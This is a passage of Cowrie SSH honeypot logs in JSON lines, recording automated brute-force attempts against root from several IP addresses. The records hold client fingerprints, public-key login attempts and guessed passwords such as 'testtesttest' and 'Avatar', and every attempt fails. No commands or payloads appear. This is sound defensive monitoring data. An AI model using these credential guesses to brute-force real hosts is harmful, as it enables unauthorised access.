a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:58.171609Z","src_ip":"60.165.124.241","session":"42f699e53504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":19576,"dst_ip":"10.17.0.5","dst_port":22,"session":"71424c5461d7","protocol":"ssh","message":"New connection: 45.148.147.191:19576 (10.17.0.5:22) [session: 71424c5461d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.158859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.163662Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.249934Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa139AwlcqQuVqjc2kHap4vmsj57z5PQ8O9gVtZg0AuRb40dbBwhBrd06KJ8kk1mEXJvz8mQgHtoJY8eVLl+pVL3EZHjnBEPxHa5sYLXmzWZtBkCorWa5y5+xT9LcikS+l9W4rLo5jb0AlSZ7hC/0X5KgtY76Ogrj8QflrFqVnEnHeuEX6V4oPC0KLaFyytBMW9PPkbc7pX8+j4w6ZIzRWewiVpeDCxhXKxB0NlUzxUvlsV53nPDr2+ELHiIYnf+fM0yvJUE72kEok1EfYPM7ibc0d3AL+TRsdOJVex0AmupZSK9cTnd0VYz0loV4mkVktNu66La4EdI+z7zux+C8wU1AvEnrezVBYoiL0VaasS0Mc7dPr0k84TE3aatPz7/xugxEoCjZZc//x10tDrnxALFIWBZ24JrrXF3iq3/pXyZrRH17ho/vySdmYCnsincIAkajmQzq+8MUGT/feNznRgzSSTbBpmy5rMr6BnksFSHDprUv7Y1Vjua47byRWjgk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.657477Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa139AwlcqQuVqjc2kHap4vmsj57z5PQ8O9gVtZg0AuRb40dbBwhBrd06KJ8kk1mEXJvz8mQgHtoJY8eVLl+pVL3EZHjnBEPxHa5sYLXmzWZtBkCorWa5y5+xT9LcikS+l9W4rLo5jb0AlSZ7hC/0X5KgtY76Ogrj8QflrFqVnEnHeuEX6V4oPC0KLaFyytBMW9PPkbc7pX8+j4w6ZIzRWewiVpeDCxhXKxB0NlUzxUvlsV53nPDr2+ELHiIYnf+fM0yvJUE72kEok1EfYPM7ibc0d3AL+TRsdOJVex0AmupZSK9cTnd0VYz0loV4mkVktNu66La4EdI+z7zux+C8wU1AvEnrezVBYoiL0VaasS0Mc7dPr0k84TE3aatPz7/xugxEoCjZZc//x10tDrnxALFIWBZ24JrrXF3iq3/pXyZrRH17ho/vySdmYCnsincIAkajmQzq+8MUGT/feNznRgzSSTbBpmy5rMr6BnksFSHDprUv7Y1Vjua47byRWjgk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.661347Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3atxl8qLY5mReYXMtNvoj5j96T1A7nh5Z0TfHbp5h4TD1DE+uKA8GUpws9/i14JWSMwPJ794LXqvGr3RDexiqQhGRTEAgH25c+N1tTWvzq4K9TbYLWG9UkD2KGyMaVNzi3soU18dbVxJRAU1Qje1XegcDJDcrKvldgneTis73vQwadByBqqGhRKa7EzMqwIy1V9J7CdSApPL22aV0C4bbPU5N3akySD5qvOYIizI0ZMhJeoAr6EROSuBbVIW3FuGW7iCr1X7Sgo7pu8Ca/+8KFfaB/h6fxD64TvAzkWGFjGNE7fAtQRm2+8fEMmO500wPhGAdaZXJuKqopB/g1AhVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.745168Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3atxl8qLY5mReYXMtNvoj5j96T1A7nh5Z0TfHbp5h4TD1DE+uKA8GUpws9/i14JWSMwPJ794LXqvGr3RDexiqQhGRTEAgH25c+N1tTWvzq4K9TbYLWG9UkD2KGyMaVNzi3soU18dbVxJRAU1Qje1XegcDJDcrKvldgneTis73vQwadByBqqGhRKa7EzMqwIy1V9J7CdSApPL22aV0C4bbPU5N3akySD5qvOYIizI0ZMhJeoAr6EROSuBbVIW3FuGW7iCr1X7Sgo7pu8Ca/+8KFfaB/h6fxD64TvAzkWGFjGNE7fAtQRm2+8fEMmO500wPhGAdaZXJuKqopB/g1AhVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.748834Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3zGeOzF7MClFl56XfBBwQNuHlHXxEdU6w8U+v5+39kJVYVTVkf2uwD4GfZ5owazYpLHRnR9zhelvEweuK2KzspjMq+mez51XkjqxnUVJ593S7Qul3tUu6So+4tRWui+2Z5HQWtwWe2J+Ti6La1bJn/Vh1IlBjORTAIwmBVCukY90pLMz/JhNMC6+2WhgKeeYpQkOnYB3Tb3l4GmwsdL07XKilHc1Qj5nhP7rEaSm8O+eI5fxVA5ziXiuW/n2Zf5H0ao9Rq3/fjuuiH83kPSJwLKdmi3bRz0QIj214wB+IX/PWnSbN/8qs/0+XbeZEAd0XYxuwgsZynbBqitCSu1inw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.835783Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3zGeOzF7MClFl56XfBBwQNuHlHXxEdU6w8U+v5+39kJVYVTVkf2uwD4GfZ5owazYpLHRnR9zhelvEweuK2KzspjMq+mez51XkjqxnUVJ593S7Qul3tUu6So+4tRWui+2Z5HQWtwWe2J+Ti6La1bJn/Vh1IlBjORTAIwmBVCukY90pLMz/JhNMC6+2WhgKeeYpQkOnYB3Tb3l4GmwsdL07XKilHc1Qj5nhP7rEaSm8O+eI5fxVA5ziXiuW/n2Zf5H0ao9Rq3/fjuuiH83kPSJwLKdmi3bRz0QIj214wB+IX/PWnSbN/8qs/0+XbeZEAd0XYxuwgsZynbBqitCSu1inw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.839593Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeo5wyOSr3tU7GyhYPnAFkLIOFBb4fuQR/kVFcRWjzVADvFmMsxdmaII0FMuzj4EF9ni+Imuf/Z/r3OhRUa2LKEOYMtntmUJdBc4hRBH9J5MgYsZsrVm3itBJIOR/bX1b+0b80hIvHQ0pOF3FitHh2FOxAfHZKqa+h5hwd4WuhVakX7+CCqhG2KALrmir51SOEUbPvl45blMWX07W+VtI+X8ZsCxnVUYJl3Nm/MyOfnIltOek92G/ns0he1w9kx3eX2uUbGG6MYWPpl6zaT3IeQv7K1JwSi6YU8mXvrx0xaFp25pxd7gRLHRC6rju3o96QwXgJpt7hx/fsZdYpvu7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.924329Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeo5wyOSr3tU7GyhYPnAFkLIOFBb4fuQR/kVFcRWjzVADvFmMsxdmaII0FMuzj4EF9ni+Imuf/Z/r3OhRUa2LKEOYMtntmUJdBc4hRBH9J5MgYsZsrVm3itBJIOR/bX1b+0b80hIvHQ0pOF3FitHh2FOxAfHZKqa+h5hwd4WuhVakX7+CCqhG2KALrmir51SOEUbPvl45blMWX07W+VtI+X8ZsCxnVUYJl3Nm/MyOfnIltOek92G/ns0he1w9kx3eX2uUbGG6MYWPpl6zaT3IeQv7K1JwSi6YU8mXvrx0xaFp25pxd7gRLHRC6rju3o96QwXgJpt7hx/fsZdYpvu7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:59.928043Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCXVWwslfkt0mvEM6JbgCwsMQcKIguU3AOJPrX+rnaDRVO5ZJMjR3GOYCeqKem+wTsn1w1Gfm8Del9ZqQrM+PcVrmsHhojx1+xYeIbnr/boQ/KbLZ8w8acsTy6rFF4BF6uOQ0xYYXzwwnBpaz2EMdDbe0XuZxGOHXuyyeWicj+rc+2bC7OJ7O2EJjM3AH2hjTj7V5UtaALg3saYGKM7igwfP78yK02TDEiNhL1STccGD/7Db/xFx5iV4KsP83yJx3x0jPBHPR5waJAyBjUseN1nVvOLSPKTY6FAXWpi6gMvbOwvtw68yj/+JZN6CN9f+1oE/Lw08FKWcX5WoJ5sfVT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:00.012527Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCXVWwslfkt0mvEM6JbgCwsMQcKIguU3AOJPrX+rnaDRVO5ZJMjR3GOYCeqKem+wTsn1w1Gfm8Del9ZqQrM+PcVrmsHhojx1+xYeIbnr/boQ/KbLZ8w8acsTy6rFF4BF6uOQ0xYYXzwwnBpaz2EMdDbe0XuZxGOHXuyyeWicj+rc+2bC7OJ7O2EJjM3AH2hjTj7V5UtaALg3saYGKM7igwfP78yK02TDEiNhL1STccGD/7Db/xFx5iV4KsP83yJx3x0jPBHPR5waJAyBjUseN1nVvOLSPKTY6FAXWpi6gMvbOwvtw68yj/+JZN6CN9f+1oE/Lw08FKWcX5WoJ5sfVT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:00.016988Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:00.102545Z","src_ip":"45.148.147.191","session":"71424c5461d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yingtan@123","message":"login attempt [root/yingtan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:01.857023Z","src_ip":"60.165.124.241","session":"42f699e53504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:04.354578Z","src_ip":"60.165.124.241","session":"42f699e53504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38490,"dst_ip":"10.17.0.5","dst_port":22,"session":"1599b43c5e73","protocol":"ssh","message":"New connection: 60.165.124.241:38490 (10.17.0.5:22) [session: 1599b43c5e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:04.621613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:04.632417Z","src_ip":"60.165.124.241","session":"1599b43c5e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:04.902714Z","src_ip":"60.165.124.241","session":"1599b43c5e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtesttest","message":"login attempt [root/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:05.710366Z","src_ip":"60.165.124.241","session":"1599b43c5e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:08.267643Z","src_ip":"60.165.124.241","session":"1599b43c5e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":51738,"dst_ip":"10.17.0.5","dst_port":22,"session":"13899e9fa036","protocol":"ssh","message":"New connection: 80.94.92.171:51738 (10.17.0.5:22) [session: 13899e9fa036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:10.349873Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:10.447997Z","src_ip":"80.94.92.171","session":"13899e9fa036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90014fdfb26","protocol":"ssh","message":"New connection: 60.165.124.241:43100 (10.17.0.5:22) [session: a90014fdfb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:10.524639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:10.529332Z","src_ip":"60.165.124.241","session":"a90014fdfb26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:10.792523Z","src_ip":"60.165.124.241","session":"a90014fdfb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456789*","message":"login attempt [root/a123456789*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:11.574108Z","src_ip":"60.165.124.241","session":"a90014fdfb26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:12.818184Z","src_ip":"60.165.124.241","session":"a90014fdfb26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47892,"dst_ip":"10.17.0.5","dst_port":22,"session":"225e6e3cb71f","protocol":"ssh","message":"New connection: 60.165.124.241:47892 (10.17.0.5:22) [session: 225e6e3cb71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:13.052346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:13.056999Z","src_ip":"60.165.124.241","session":"225e6e3cb71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:13.300571Z","src_ip":"60.165.124.241","session":"225e6e3cb71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Avatar","message":"login attempt [root/Avatar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:14.039806Z","src_ip":"60.165.124.241","session":"225e6e3cb71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:15.282325Z","src_ip":"60.165.124.241","session":"225e6e3cb71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50792,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e12fb4e06fd","protocol":"ssh","message":"New connection: 60.165.124.241:50792 (10.17.0.5:22) [session: 9e12fb4e06fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:15.514000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:15.518712Z","src_ip":"60.165.124.241","session":"9e12fb4e06fd","protocol":"ssh"}
